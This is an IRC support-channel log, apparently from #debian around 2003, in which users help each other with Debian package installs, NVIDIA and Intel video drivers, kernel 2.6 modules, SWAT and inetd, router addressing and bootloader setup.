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| 08:35.11 | s1ut | Was conan really a destroyer? |
| 08:35.12 | ircdevil | *grr* |
| 08:35.18 | s1ut | I thought he was just a barbarian |
| 08:35.21 | pole | hoxu|uni: yes, i have those, but those are static... and i'm using udev |
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| 08:35.37 | tam-work | anyone know the apt-get for apache 2 i searched the list and noticed that they are 4 there but don't know hwich applies to apache 2 |
| 08:35.38 | hoxu|uni | What's udev? :P |
| 08:35.40 | ircdevil | i know it is possible in galien to have javascript animations run only once - what about flash ? |
| 08:35.53 | ircdevil | i hate commercials |
| 08:36.00 | hoxu|uni | I have a usb storage device and I simply mounted /dev/scd1 or something |
| 08:36.03 | ecstatix | tam-work apache2? |
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| 08:37.32 | tam-work | ecstatix: apt-get install apache2-mpm-worker |
| 08:37.33 | tam-work | :) |
| 08:37.41 | tam-work | anda a few more |
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| 08:38.15 | zugzug | damn logitech quickcam messenger wont work grrr |
| 08:38.19 | ecstatix | tam-work i dont think most of the apache2 modules are apt-gettable yet |
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| 08:40.45 | mhall | I have a question about how PPTP VPN works. If my VPN is encrypting the packets, how can I tell? And, if it's set up right, then why does netstat show, when I open a broswer window, that a new socket to the target site was formed? Should it not use the already made socket connected to the PPTP server, which would create the socket to the target website itself? |
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| 08:41.17 | ecstatix | hoxu|uni thanks. downloading correctly now :) |
| 08:41.34 | tam-work | ecstatix: guess it is a ./configure job then :-P |
| 08:41.42 | hoxu|uni | ecstatix :) |
| 08:42.06 | ecstatix | tam-work i would'nt know :) i am 2 weeks old to linux |
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| 08:42.07 | ecstatix | heh |
| 08:42.21 | tam-work | ecstatix: am just around 2 years old to it |
| 08:42.28 | solomon | can aptitude search package descriptions? |
| 08:42.30 | pme | mhall: Try snooping the packets. If you can't read them, they're encrypted. If you can, they aren't. |
| 08:42.46 | mhall | pme: sounds like an idea |
| 08:42.48 | ecstatix | tam-work years is certainly more than weeks |
| 08:43.03 | mhall | pme: I don't know why the fuck I never thought of it before. |
| 08:43.06 | mhall | pme: thanks |
| 08:43.27 | pme | mhall: Too much eggnog will do that to ya. |
| 08:43.44 | mhall | pme: erm, milkshakes and mike's hard lemonade in my case |
| 08:43.53 | pme | Mixed? |
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| 08:44.04 | zakame | hello! |
| 08:44.32 | pme | That reminds me, I need to buy some Mike's today. |
| 08:44.44 | mhall | pme: Good stuff. |
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| 08:48.22 | flan | anyone know which driver I am supposed to use for intel 845 chipset video |
| 08:48.23 | flan | ? |
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| 08:48.39 | flan | or can point me in the right direction to find out? |
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| 08:49.45 | Motoko | hello |
| 08:50.10 | flan | the i810 driver aint working |
| 08:50.11 | praetorian | anyone have the nVidia drivers working under 2.6 yet? |
| 08:50.22 | flan | nope sorry man can't help ya |
| 08:50.33 | flan | I can't even get intels to work |
| 08:50.38 | praetorian | :-/ |
| 08:50.42 | soleil | praetorian, i do |
| 08:50.55 | praetorian | soleil: you downloaded the patch from minion.de? |
| 08:51.05 | Motoko | I just got fluxbox up and running on Debian but the bgset and Eset commands for the backgrounds aren't here |
| 08:51.18 | Motoko | anyone know how to get one of them or both? |
| 08:51.21 | soleil | praetorian, the pre-made ones did not work, but i did it manually like the README said, and i did af ew more things and i was able to get it to work |
| 08:51.39 | soleil | Motoko, Eset* is part of eterm... apt-get install eterm |
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| 08:51.49 | Motoko | k |
| 08:52.13 | soleil | <PROTECTED> |
| 08:52.21 | soleil | i'm having the weirdest problems today. |
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| 08:52.58 | mhall | VPN and IPSec have to be the most miserable network applications I have ever attempted to implement |
| 08:54.03 | praetorian | soleil: maybe i need to read those directions again. i quickly tried it, and i'm getting "the NVIDIA kernel module is 1.0.5328, but this X module is version 1.0.4496", etc. i'll see if i can fix it |
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| 08:54.19 | soleil | praetorian, i know that problem |
| 08:54.22 | soleil | praetorian, hang on a sec |
| 08:54.26 | praetorian | okay, thanks |
| 08:54.50 | soleil | praetorian, do you still have the NVIDIA-Linux-x86-1.0-5328-pkg1 directory? |
| 08:54.55 | praetorian | yes |
| 08:55.02 | soleil | go back in there, go to usr |
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| 08:55.16 | praetorian | k |
| 08:55.19 | soleil | more or less every item in the directories there resembles the tree in /usr |
| 08:55.30 | tarzeau | did anyone get this on powerpc with music123: libao - OSS cannot set channels to 2, Error: Cannot open device oss. |
| 08:55.34 | holycow | heh |
| 08:55.38 | holycow | i don't believe it |
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| 08:55.45 | flan | I find it really funny that all the people in here not 1 not a single solitary one other than me uses the Intel d845gebv2 motherboard with integrated video |
| 08:55.51 | flan | lofl |
| 08:55.57 | tarzeau | ogg123 gives me the same, however madplay works |
| 08:55.59 | soleil | ie, you need to copy evyrithing in X11R6/lib/* to /usr/X11R6/lib/ and X11R6/lib/modules/* to /usr/X11R6/lib/modules/* |
| 08:56.02 | ircdevil | tarzeau permissions? user in audio? |
| 08:56.05 | holycow | i upgraded to kernel 2.4.23, managed to get a module to load automatically without discover and setup shorewall for basic stuff without buggin you guys |
| 08:56.11 | soleil | praetorian, make sure you do that for include, lib, and share |
| 08:56.14 | holycow | thank god for debian, no other distro makes this so easy :) |
| 08:56.15 | ircdevil | tarzeau strange ... |
| 08:56.17 | tarzeau | ircdevil: no no it used to work, and i can play mp3 and modules |
| 08:56.24 | praetorian | ah okay, just a sec then. let me try this |
| 08:56.25 | holycow | feel the love chimps :) |
| 08:56.37 | FlyHigh6666 | re ho |
| 08:56.40 | FlyHigh6666 | #re hi |
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| 08:56.53 | tarzeau | Aqua_: günaydin |
| 08:57.16 | FlyHigh6666 | ok i have the SWAT dind't answer any request on port 901 (http://localhost:901) |
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| 08:57.26 | Aqua_ | tarzeau: hi ... I'll give ya my email adress today for the translations |
| 08:57.51 | soleil | oops. |
| 08:58.00 | pme | FlyHigh6666: use netstat. Is swat actually running? Is anything listening on that port? |
| 08:58.13 | FlyHigh6666 | pme wait |
| 08:58.34 | praetorian | soleil: do that just for include, lib, and share? |
| 08:58.37 | pme | FlyHigh6666: the command you want is netstat -at |
| 08:59.25 | FlyHigh6666 | no swat is listen |
| 09:00.01 | soleil | praetorian, and X11R6 |
| 09:00.06 | soleil | praetorian, and all their subdirectories |
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| 09:00.44 | praetorian | almost. :) started to load then stopped. i'm waiting to see what the error is |
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| 09:01.11 | FlyHigh6666 | how do i start swat ?? |
| 09:01.20 | pme | FlyHigh6666: read the manual |
| 09:01.33 | FlyHigh6666 | i think apt-get install swat do everything |
| 09:01.44 | pme | FlyHigh6666: read the manual :-) |
| 09:01.54 | FlyHigh6666 | and swat is started via inet.d automaticly |
| 09:01.59 | Aqua_ | Was anyone of you able to run VMWARE in Fullscreen-Mode unter Debian? |
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| 09:02.20 | L00thar | So many newbies... So few pitchforks... |
| 09:02.49 | soleil | and so many overgrown babies that cant find anything to do but feed on the smaller ones. |
| 09:03.52 | ircdevil | ~dpkg info galeon testing |
| 09:03.59 | ircdevil | ops |
| 09:04.05 | ircdevil | ~info galeon testing |
| 09:04.24 | ircdevil | of cause! galeon doent exist ? |
| 09:04.55 | Wyzard | Aqua_: It works for me |
| 09:05.00 | chemicallyrelian | no galeon? isn' that a good ting? |
| 09:05.13 | praetorian | soleil: thanks, worked like a charm |
| 09:05.36 | soleil | praetorian, np :) |
| 09:05.41 | FlyHigh6666 | ok how to restart inetd ?? |
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| 09:05.53 | soleil | FlyHigh6666, killall -HUP inetd |
| 09:05.53 | FlyHigh6666 | inetd restart ?? |
| 09:05.59 | soleil | or /etc/init.d/inetd restart |
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| 09:09.14 | Aqua_ | Wyzard: Do you wanna see my errormessages? |
| 09:09.34 | overflow | Hi, anybody that could help me with mencoder? |
| 09:09.36 | overflow | hi, how can I put the subtitles inside the movie and generate a new file ? I tried with -sub file.str -ovc copy -oac copy source.avi -o dest.avi and doesn't work |
| 09:09.48 | praetorian | soleil: hmm...if i get my nvidia driver working, GLX should work correctly, right? i am mod probing my driver btw... |
| 09:10.04 | soleil | L00thar, i'm just waiting for someone to answer *my* question.. heheh |
| 09:10.44 | soleil | praetorian, yeah. i forgot to mention. my GLX module fails to load as well. i havent figured that out yet... but for me, for now, its sufficient that i have X running.. i'll try to investigate it again later; hopefully NVidia will come out with new drivers for 2.6 before i have to do that though |
| 09:10.46 | L00thar | soleil: I wasn't reading... Out of curiosity, repeat it? |
| 09:10.55 | ircdevil | ahahaha, this is funny: http://faq.bitchx.org/ |
| 09:11.10 | soleil | L00thar,hmm let me decide which one to ask |
| 09:11.21 | praetorian | soleil: heh, okay. that's np. :) i'll look into the issue myself. if i figure it out, i'll let ya know |
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| 09:11.43 | L00thar | X questions... I'll just run and hide in a cupboard. |
| 09:11.45 | Wyzard | Aqua_: I suppose, though I don't know if I'll be able to help |
| 09:12.17 | FlyHigh6666 | ok thank you |
| 09:12.23 | FlyHigh6666 | swat is running |
| 09:12.38 | FlyHigh6666 | is there a good FAQ or howto |
| 09:12.51 | overflow | Anybody could help me? |
| 09:12.57 | overflow | please? |
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| 09:13.54 | mutek_ | overflow: I've not used mencoder for subtitling. I can make svcds and divxs okay with it, though. |
| 09:14.09 | soleil | praetorian, thanks |
| 09:14.19 | mutek_ | overflow: I guess you've used the example given in the man page? |
| 09:14.28 | soleil | L00thar, well... my mouse works smoothly in GNOME/XFCE/KDE, but not in PWM/Kahakai |
| 09:14.49 | overflow | mutek_: I did saw anything like that |
| 09:14.57 | mutek_ | overflow: ? |
| 09:15.03 | L00thar | I've never got my scrollwheel working... |
| 09:15.07 | overflow | mutek_: I mean , subtitling |
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| 09:15.17 | overflow | mutek_: just for mplayer |
| 09:15.21 | soleil | L00thar, not the scroll wheel. just general mouse movement |
| 09:15.21 | flan | gbf |
| 09:15.52 | L00thar | understood. |
| 09:16.01 | mutek_ | overflow: mencoder is really just a wrapper for mplayer anyway, so the rules for mencoder should be the same except for the output device. |
| 09:17.04 | mutek_ | overflow: but the mplayer man page has mencoder examples at the end. |
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| 09:17.13 | DMJC | um... what the fuck... |
| 09:17.20 | mutek_ | overflow: also, as mencoder is a script, you can read it yourself to see what it's doing. |
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| 09:17.22 | DMJC | my cursor in xfree86 3.... |
| 09:17.27 | DMJC | 4.3 actually.. |
| 09:17.33 | DMJC | is doing proper transparency.. |
| 09:17.43 | oskie | transparent cursor? |
| 09:17.44 | DMJC | I didn't think X cvould do transparency |
| 09:17.54 | DMJC | yeah |
| 09:17.58 | oskie | wow that's cool |
| 09:17.58 | DMJC | transparent cursor |
| 09:18.09 | mutek_ | L00thar: how's the cupboard? |
| 09:18.10 | oskie | i've always wanted to see window's drop shadow cursors in X |
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| 09:18.23 | DMJC | it's not just doing bullshit transparency either... |
| 09:18.24 | Wyzard | DMJC: How'd you get it to do that? (I know 4.3 supports XCURSOR, but I don't know of any tools for actually utilizing it) |
| 09:18.38 | DMJC | it's doing it over any window I move the cursor over |
| 09:18.45 | DMJC | I dunno |
| 09:18.49 | L00thar | mutek_: Dark and smelly. |
| 09:18.53 | linuX|tombhadAC | kennt jemand ein wirklich gutes tool zur musik-bearbeitung? |
| 09:18.54 | DMJC | I did an apt-get dist upgrade... |
| 09:18.57 | mutek_ | L00thar: :-)) |
| 09:19.03 | DMJC | and I added an Xfree86 4.3 source.. |
| 09:19.10 | streuner | linuxtech: /msg dpkg german |
| 09:19.14 | DMJC | one someone pasted into this channel |
| 09:19.17 | linuX|tombhadAC | sorry |
| 09:19.33 | streuner | no |
| 09:19.33 | oskie | what was the XFree86 4.3 apt source line? I know it's coming soon to unstable |
| 09:19.39 | Wyzard | DMJC: An unofficial source? Or Debian experimental? (It could be that the unofficial package's maintainer changed a default setting) |
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| 09:19.45 | DMJC | btw the cursor has a shadow as well |
| 09:19.51 | DMJC | I'm not sure |
| 09:19.54 | streuner | oskie: /msg dpkg experimental |
| 09:20.05 | DMJC | i can get my source tho |
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| 09:20.08 | Zap-W | how can one tell if a cpu chip is fried ,other than trying it on a different motherboard..? |
| 09:20.20 | DMJC | deb ftp://ftp.cs.umn.edu/pub/debian-misc/daniels/current/sid/i386/ ./ |
| 09:20.37 | force | what should i do to get around breaking binary compatabily having sigaction & signal use their own trampoline? |
| 09:20.39 | streuner | DMJC: oskie spoke about experimental... |
| 09:20.40 | Wyzard | DMJC: My cursor has a simple drop shadow even in 4.2 thanks to a feature of the nvidia driver... but a soft-shadow cursor like what Fedora's X setup uses by default requires 4.3's XCURSOR |
| 09:21.05 | force | me too |
| 09:21.11 | oskie | streuner: they say XFree86 4.3 is already in queue/new |
| 09:21.11 | DMJC | btw the cursor looks themed |
| 09:21.24 | DMJC | thing is i'm using my XF86Config-4 file from 4.2.. |
| 09:21.29 | streuner | oskie: ohh |
| 09:21.33 | DMJC | I didn't change any lines |
| 09:21.36 | NuTTeR | anyone know of a well supported linux wireless card? |
| 09:21.43 | DMJC | this isn't a config change.. |
| 09:21.44 | Wyzard | The 4.3 packager probably replaced the default cursor, then |
| 09:21.46 | Zap-W | athlon xp cpu |
| 09:21.47 | streuner | oskie: mailing-list? |
| 09:21.51 | force | L00thar: using software? :) |
| 09:22.01 | Wyzard | since you're using a 4.3 package from an unofficial source |
| 09:22.01 | oskie | streuner: what do you mean? |
| 09:22.15 | Wyzard | The version of 4.3 in experimental uses the same cursor as always |
| 09:22.16 | DMJC | I thought transparency would break X? |
| 09:22.18 | L00thar | force: No. Using force. |
| 09:22.19 | streuner | oskie: where you got that info from? |
| 09:22.27 | oskie | streuner: from #debian-devel :) |
| 09:22.27 | force | heh |
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| 09:23.04 | L00thar | Damned exposed silicon... |
| 09:23.06 | oskie | DOH, there's an XFree86 4.3 link in there too |
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| 09:23.55 | Jervanic | Does anyone know how to make a linksys wireless router give out ip's other than 192.168...? |
| 09:24.07 | oskie | 4.3.0-0pre1v5 is more recent than 4.3.0-0ds3v1 according to debian standards, no? |
| 09:24.30 | oskie | Jervanic: you mean DHCP? probably through some web configuration |
| 09:24.33 | Jervanic | I want my router to give out statik ip's, but cant figure out how to, only letting me set 192.168... |
| 09:24.48 | Jervanic | ive checked, it isnt in there that i saw |
| 09:24.57 | streuner | Jervanic: the manual from the website prolly would help |
| 09:25.12 | Jervanic | it let's me set it from gateway to router, and i went in manually and gave each comp an ip, but no net |
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| 09:25.54 | Wyzard | Jervanic: If you manually configure the computers behind the router, you need to provide them with a default gateway (the IP of the router) as well as their own static IP |
| 09:25.54 | streuner | Jervanic: it's DHCP? if you change the firmware you would be able to then... |
| 09:26.00 | Dostoevsky | hello sorry for bother you AGAIN, but i really search for it and i cant find what i was looking for |
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| 09:26.12 | Shaun | in a xinet.d service file can i do this on the server = line... server = /bin/blah -H `hostname` |
| 09:26.21 | Jervanic | i did give them the routers gateway ip... still no net |
| 09:26.38 | Jervanic | it lets me be on the network, but no internet |
| 09:26.46 | Dostoevsky | i want something like a "list" of "how much will enlarge my compiled kernel if i select (for example File system vfat) |
| 09:27.06 | Wyzard | Jervanic: You gave them the router's *internal* IP address, right? |
| 09:27.16 | Jervanic | Yes |
| 09:27.21 | Jervanic | 192.168.2.1 right? |
| 09:27.34 | Wyzard | Something like that |
| 09:27.36 | Jervanic | yea |
| 09:27.49 | Dostoevsky | i compiled some kernels (bzImage) and did some test, but i cant figured out... |
| 09:27.59 | Wyzard | And your static IPs are also 192.168.2.x addresses? |
| 09:28.04 | Jervanic | no |
| 09:28.13 | Jervanic | i have 5 real world statik ip's |
| 09:28.17 | Jervanic | static* |
| 09:28.22 | Jervanic | because im on a T-1 |
| 09:28.24 | Wyzard | oh, ok |
| 09:28.39 | Jervanic | and i can't figure out how to run my FTP with 192.168... dhcp |
| 09:28.56 | Wyzard | Then the router shouldn't have an "internal" IP at all, and the clients behind it should have the router's "real" IP as their gateway |
| 09:28.57 | randey | I am running sisctrl. it is asking for Xv (XVideo) extension. which package provides XV? apt-cashe show is unable to find it. |
| 09:29.01 | Dostoevsky | if somebody is interested i can tell him what i did to test the "size" |
| 09:29.19 | Jervanic | oh really? |
| 09:29.20 | Wyzard | Jervanic: Why are you running an FTP server by wireless anyway? |
| 09:29.30 | Jervanic | its just a wireless/ethernet router |
| 09:29.42 | Jervanic | im home for christmas, and it's the only router i have, the server isnt on wireless |
| 09:29.44 | oskie | I don't get it, 'deb http://people.debian.org/~daniels/xfree86 ./' doesn't work - it can't find all packages |
| 09:29.49 | Wyzard | ok |
| 09:29.56 | Jervanic | but yea, lemme try giving it the real ip |
| 09:30.01 | Jervanic | i think that may fix it, thanks man |
| 09:30.02 | Wyzard | Well, you need to turn off NAT on the router |
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| 09:30.12 | oskie | 'deb http://people.debian.org/~daniels/ xfree86/' that's it! |
| 09:30.18 | Jervanic | I think i can get it going now, thanks alot wyzard |
| 09:30.28 | Discipulus | so how easy will debian be to use for me? |
| 09:30.28 | Wyzard | np |
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| 09:32.01 | Wyzard | Discipulus: It won't set you up with a nice graphical desktop and apps out-of-the-box like something like Red Hat does, but if you're willing to learn then you'll find it to be more maintainable in the long run |
| 09:32.45 | Discipulus | well I'm running manjunk atm |
| 09:33.29 | Discipulus | what is another good distro that I should be inclined to try? |
| 09:33.38 | Wyzard | I only tried out Mandrake once, but it bothered me that they were using beta versions of some GNOME components in a formal release |
| 09:33.54 | Wyzard | Gentoo maybe |
| 09:34.13 | Wyzard | though I think it still needs some time to mature |
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| 09:36.03 | Dostoevsky | Wyzard, did you try Libranet? |
| 09:36.11 | Wyzard | nope |
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| 09:38.33 | Dostoevsky | Wyzard, hey... dont you know what i asking for (kernel) |
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| 09:39.19 | Wyzard | A list of how much "space" each kernel feature takes up? |
| 09:39.33 | Dostoevsky | Wyzard, yes ;) |
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| 09:40.13 | Wyzard | I don't think such a list could ever be more than a rough estimate |
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| 09:40.26 | Wyzard | It depends on what processor type you optimize for |
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| 09:40.31 | Dostoevsky | Wyzard, yes i know, but im looking something like that |
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| 09:41.16 | Wyzard | And there may be cases where feature A and feature B take more space than the sum of each one individually |
| 09:41.33 | engie | Hi. Does anyone know where I can download a business card netinst iso for sarge? |
| 09:42.09 | redrick | engie: Yeah, you could say that. "Installers" on http://linuxmafia.com/kb/Debian |
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| 09:42.32 | Dostoevsky | Wyzard, but if i compile the kernel with all features, and search for .o files (in each dir) can i have an "estimated" space |
| 09:42.45 | Wyzard | That might work |
| 09:43.06 | Wyzard | In most cases at least |
| 09:43.32 | Wyzard | Some features don't create new .o files, but cause more code to be compiled into existing .o files |
| 09:43.35 | flan | I can't believe that I am asking this but wtf I forgot.... what's the command to ftp multiple files without having to type 'y' every single time? mget something? |
| 09:43.38 | Wyzard | SMP support, for example |
| 09:43.49 | redrick | flan: mget it is. |
| 09:43.54 | Wyzard | flan: Type "prompt" before you mget |
| 09:43.59 | flan | ahh |
| 09:44.01 | flan | yeah |
| 09:44.15 | flan | shit I shouldn't be doing this at 4:44am eh? |
| 09:44.15 | Dostoevsky | Wyzard, hoo... i get it. i some cases it will be REALLY estimative |
| 09:44.25 | Dostoevsky | Wyzard, (sorry for my english) |
| 09:44.29 | Mave | LC_CTYPE=tr_TR xine /j #fazlamesai |
| 09:45.18 | flan | ok |
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| 09:45.36 | Dostoevsky | Wyzard, nobody did that list before? |
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| 09:45.44 | flan | I am upgrading my XFree86 because I can't even get the vga driver to work |
| 09:46.00 | flan | new install |
| 09:46.00 | tele | Hi all. Does mod-init-tools replace modutils ? |
| 09:46.03 | Dostoevsky | Wyzard, i think that may be in somewhere, dont ya? |
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| 09:46.14 | Mave | tele: no it diverts |
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| 09:46.52 | Wyzard | tele: module-init-tools provides new versions of "modprobe" etc., but if you're running 2.4, they notice and run the old modutils version instead |
| 09:46.52 | laber | hy |
| 09:47.15 | oskie | ok, now running XFree86 4.3.0.1, but how do you enable transparent cursors? |
| 09:47.24 | tele | i got a lot of problems with kernel 2.6. no module can be loaded. What should I do? (any clues?) |
| 09:47.33 | flan | oskie close your eyes |
| 09:47.35 | flan | lol |
| 09:47.36 | oskie | tele: are you using module-init-tools? |
| 09:47.44 | flan | make modules |
| 09:47.56 | shaddai | tele: apt-get install kernel-image-2.6.0-test9 |
| 09:48.09 | shaddai | and you'll have all needed dependencies |
| 09:48.09 | tele | oskie: I just installed it and don't know how to use it |
| 09:48.18 | oskie | tele: apt-get install module-init-tools |
| 09:48.28 | flan | there are so many differences between redhat and debian its almost rediculous |
| 09:48.36 | oskie | flan: yeah |
| 09:49.02 | tele | it seems modules.conf has no effects |
| 09:49.08 | flan | its a good thing that I like learning or I would be really pissed off right now |
| 09:49.24 | Wyzard | tele: You're correct... it's modprobe.conf now :-) |
| 09:49.49 | tele | Wyzard: oh, thanks! I'll work from that |
| 09:50.33 | tele | is modprobe.conf generated by mod-init-tools ? |
| 09:50.40 | Mave | tele: yes |
| 09:50.44 | flan | anyone else have trouble with the built in video on the intel D845GEBV2 motherboard? |
| 09:51.05 | Mave | flan: google knows |
| 09:51.15 | Nyle | I have xfce4 installed, using the Morphix light gui based on knoppix. I did the hardrive install and rebooted. Now I am running xfce4 and the rest of the apps from my harddisk. My problem is that it auto login my useraccount. No box pops up at the start of X, to pick which user to login as. How can I do that? Which packages would I need, and what do I modify. I have xfce4 docs and I can't find this info. |
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| 09:51.23 | oskie | anyone using 4.3.0? I don't get underlined links in google any longer! |
| 09:51.33 | redrick | flan: You might find Martin 'joey' Schulze's list of points of comparison between the two useful -- or not. It's mostly not advocacy, I think. http://www.infodrom.org/Debian/doc/ |
| 09:51.39 | Dostoevsky | Wyzard, well thanks for your help, really. good bye |
| 09:51.41 | Mave | oskie: from experimental ? |
| 09:51.44 | Wyzard | oskie: I'm using 4.3 from experimental and I have no such problem |
| 09:51.54 | oskie | Mave: no, from the apt source.list line in #debian-devel |
| 09:52.00 | flan | Mave Thanks but um... I remember when google first came out |
| 09:52.08 | flan | I know google knows |
| 09:52.10 | oskie | Wyzard: did you just check google? maybe they changed stylesheets or something! |
| 09:52.16 | Mave | flan: I know you know |
| 09:52.18 | Nyle | could anyone possibly tell me what I need to install. |
| 09:52.37 | Mave | oskie: I use pre4 and no such problem |
| 09:52.43 | oskie | Mave: hm. weird |
| 09:52.45 | flan | Mave I am still figuring out how to ask google so that he'll tell me! |
| 09:52.48 | flan | lol |
| 09:52.57 | oskie | Mave: pre4? I use 4.3.0-0pre1v5 |
| 09:52.59 | Wyzard | oskie: Just checked, works fine |
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| 09:53.02 | redrick | flan: The "845" sounds like bad news, in the sense of i845 video chipset. |
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| 09:53.06 | Mave | flan: yeah that's the hardest part :) |
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| 09:53.26 | redrick | flan: Which (1) is tres sucky, and (2) requires XFree86 4.3.0. |
| 09:53.56 | Mave | oskie: uhm yes pre1v4 |
| 09:54.05 | flan | redrick yeah I been looking all over... I finnaly thought that vga always works so I am going to give that a shot |
| 09:54.06 | engie | I'm setting up a blank system (formatted and all), looking to go with 2.6. What's the recommended way of doing this? Install a 2.4 kernel and then compile a new kernel? |
| 09:54.12 | redrick | flan: You could either do what I would do, and put a real video card into it, or maybe install Morphix, which includes 4.3.0. |
| 09:54.22 | flan | hmm |
| 09:54.30 | Wyzard | engie: That's the only way you can do it with Debian currently |
| 09:54.34 | Nyle | im asking about morphix |
| 09:54.37 | Nyle | I have xfce4 installed, using the Morphix light gui based on knoppix. I did the hardrive install and rebooted. Now I am running xfce4 and the rest of the apps from my harddisk. My problem is that it auto login my useraccount. No box pops up at the start of X, to pick which user to login as. How can I do that? Which packages would I need, and what do I modify. I have xfce4 docs and I can't find this info. |
| 09:54.44 | Nyle | see if you can help me with that |
| 09:54.46 | flan | hows ATI work ??? |
| 09:54.59 | redrick | flan: 4.3.0 is also available in the Debian experimental track. |
| 09:55.01 | Wyzard | engie: You might want to wait until the kernel-source-2.6.0 package is moved into the archive though -- shouldn't be long |
| 09:55.07 | oskie | who invented 1280x1024 instead of 1280x960? |
| 09:55.20 | Xenocide | while morphix and knoppix are both fine projects, maybe #debian isnt the place to ask about these things |
| 09:55.33 | Mave | oskie: someone who has non 4:3 monitor probably |
| 09:55.40 | flan | redrick>> I have an ATI Xpert 128 card in my lap |
| 09:56.10 | redrick | flan: Honestly, any decent video card is fine. My preference is any chipset that's been out at least a year. And you know, Matrox G400 cards are still awfully fine. |
| 09:56.13 | oskie | Mave: how that became standard I don't understand |
| 09:56.14 | Nyle | I understand, but I just need to know how to stop the auto userlogin and have a Login manager at the start of X |
| 09:56.26 | redrick | flan: Love those old ATI chipsets, yeah. |
| 09:56.41 | flan | so do I they work on anything! |
| 09:56.50 | flan | get an old crey |
| 09:56.57 | flan | it'll freaking work |
| 09:56.57 | oskie | Mave: http://www.kde-look.org/ ... whenever I hold the mouse over some link, a line appears ABOVE the text...i.e. overline instead of underline |
| 09:57.03 | flan | I just forgot I had it |
| 09:57.09 | oskie | Mave: do you get the same behavior? |
| 09:57.23 | Mave | oskie: no everything is fine here. |
| 09:57.34 | oskie | Mave: hm, heh. gotta be some bug somewhere.. |
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| 09:58.24 | linxuz3r | what does this error mean |
| 09:58.26 | linxuz3r | cdrecord: Cannot get disk type. |
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| 09:59.27 | flan | asd |
| 09:59.39 | Mave | oskie: you may try pre1v4 and compare |
| 10:00.05 | oskie | Mave: just found out, it's a galeon bug ... heh |
| 10:00.18 | Mave | oskie: I expected that :) |
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| 10:01.06 | Mave | does the grave bug of evolution in sid affect everybody ? |
| 10:01.15 | Vampyric | anyone here that knows where the configuration is to set what programs open what files by default |
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| 10:02.24 | Mave | Wyzard: ok thanks. the bug doesn't seem dangerous. I asked to know if it will worth downloading the packages |
| 10:02.28 | oskie | has anyone here went from using mutt to using some GUI mail manager? |
| 10:02.52 | Wyzard | Mave: What is the bug? (I haven't heard about it.) |
| 10:03.09 | Wyzard | oskie: I switched from Mutt to Evolution last year |
| 10:03.27 | Mave | Wyzard: bugs.debian.org/evolution it doesn't start and gives some error messages |
| 10:03.33 | pme | oskie: I was forced to semi-switch from mutt to Mozilla, when mutt couldn't connect via my emplyer's imaps server. I still use mutt for everything non-work-related. |
| 10:03.38 | oskie | Wyzard: was it a successful switch? |
| 10:04.08 | tele | does update-modules update modprobe.conf? Should I place my aliases in /etc/modprobe.d? |
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| 10:04.46 | oskie | pme: you didn't try fetchmail? |
| 10:05.03 | pme | oskie: I hate fetchmail. :-) |
| 10:05.32 | Wyzard | oskie: I'm still using Evolution, and happy enough with it. I switched mostly for the calendar and better address book. |
| 10:05.34 | pme | oskie: I was already using mozilla to connect to the comoany's private zope server, so *shrug*. |
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| 10:06.28 | pme | oskie: More to the point, I wanted to leave mail on the server, shuffle mail around /on the srever/, etc. |
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| 10:07.11 | oskie | pme: I see.. |
| 10:07.31 | soleil | which netinst release am i most likely to have success with on a laptop? |
| 10:07.48 | oskie | i have a mailbox $HOME/tt that I want to add to Evolution! how do you do that? |
| 10:09.14 | Joris | I'm trying to write a udp redirection iptables rule (redirect to another port on the same host), but I'm confused about what chains to put it in |
| 10:09.15 | pme | soleil: You're not, unless it's an older laptop. There's a /lot/ of hardware out there which isn't supported by the base kernel, which means that Debian won't support it. |
| 10:09.37 | Coke | Hello. I'm trying to make a HD boot install by copying linux.bin, root.bin and extracted drivers.bin to hdb on my current system. The plan is that this will become hda on the new system, boot and start the floppy installer. Is it possible for lilo to install on hdb, but then boot on hda? |
| 10:10.04 | soleil | pme, can i use custom kernels during install? |
| 10:10.11 | pme | soleil: Nope. |
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| 10:10.18 | oskie | Coke: yes, it should be possible... |
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| 10:10.26 | ecstatix | redrick hey, what's your debian tricks/tips webpage link? |
| 10:10.29 | oskie | heh. |
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| 10:10.59 | soleil | pme: :-/ its not an older laptop. |
| 10:11.02 | Coke | oskie: how would that lilo conf look? |
| 10:11.05 | soleil | pme: but i *really* want debian on it |
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| 10:11.25 | Coke | oskie: I mean, if I put a boot=/dev/hda in it, won't it try to write lilo to the MBR of hda? |
| 10:11.33 | Zefab_172 | Hi, I've compiled a brand new 2.6.0 kernel last week, using debian and kde, and it seems that my system is slower than with my 2.4.20. Could it be possible, or is it just an impression ? I have a Athlon 1.8 Ghz (running at 1150.591) with 521 Mo of ram |
| 10:11.44 | pme | soleil: I've never gotten the sound card or the wireless card or the power features or even the touchpad on my laptop to work under Debian. My coworkers installed SuSE and Red Hat 9 on spare partitions, and everything worked out of the box on both of them. I wish Debian would add more drivers to the kernel... |
| 10:11.46 | oskie | Coke: yes, it will |
| 10:12.05 | soleil | pme: what laptop? |
| 10:12.06 | Coke | oskie: so how does one install lilo on hdb, telling it to boot hda? |
| 10:12.08 | amphi | pme: what laptop? |
| 10:12.36 | tam-work | off topic: anyone know a good place to get weather forecasts? |
| 10:12.39 | pme | Dell Inspiron 5150. |
| 10:12.47 | ecstatix | pme remember debian is not a corporation. its us that have to make the kernels with the drivers |
| 10:12.48 | soleil | :-o |
| 10:12.48 | oskie | Coke: you'd have to put some other bootloader on hda, for instance Windows NT/2K/XP bootloader, that would look to hdb |
| 10:12.49 | pme | tam-work: yahoo. |
| 10:12.57 | soleil | pme, arent those supposed to be supported well? |
| 10:12.59 | flan | tam-work www.weather.com |
| 10:13.12 | amphi | pme: FWIW, I had to use 'fups2' gpm protocol to get my pointing device to work - did you try that? |
| 10:13.16 | tam-work | thanks guys |
| 10:13.28 | flan | np |
| 10:13.29 | ecstatix | soleil all dell inspirons are weird. i have a dell inspiron 8500 |
| 10:13.37 | pme | ecstatix: No it isn't. Debian maintainers can download other freely-released drivers and add them to their packages. Other packages do this already, but with the kernel, I have to go download the drivers. |
| 10:13.38 | ecstatix | tam-work gkrellweather plugin |
| 10:14.16 | ecstatix | pme debian maintainers wont do things on their own until someone tells them. you tell them you want the drivers, i guess it will be added |
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| 10:14.47 | Coke | oskie: what are you talking about? I have grub on my current hda, but that's not important because my hdb will become hda when I move it to the new system. |
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| 10:14.57 | Coke | oskie: I don't see how a bootloader on another computer could help me there. |
| 10:15.03 | pme | soleil, amphi: I only fiddled with it for a week and then gave up. Boss doesn't pay me to waste time beating my head against the wall, especially when RH works out of the box. So now I use debian when I can, and boot into redhat when someone else might need to touch it. |
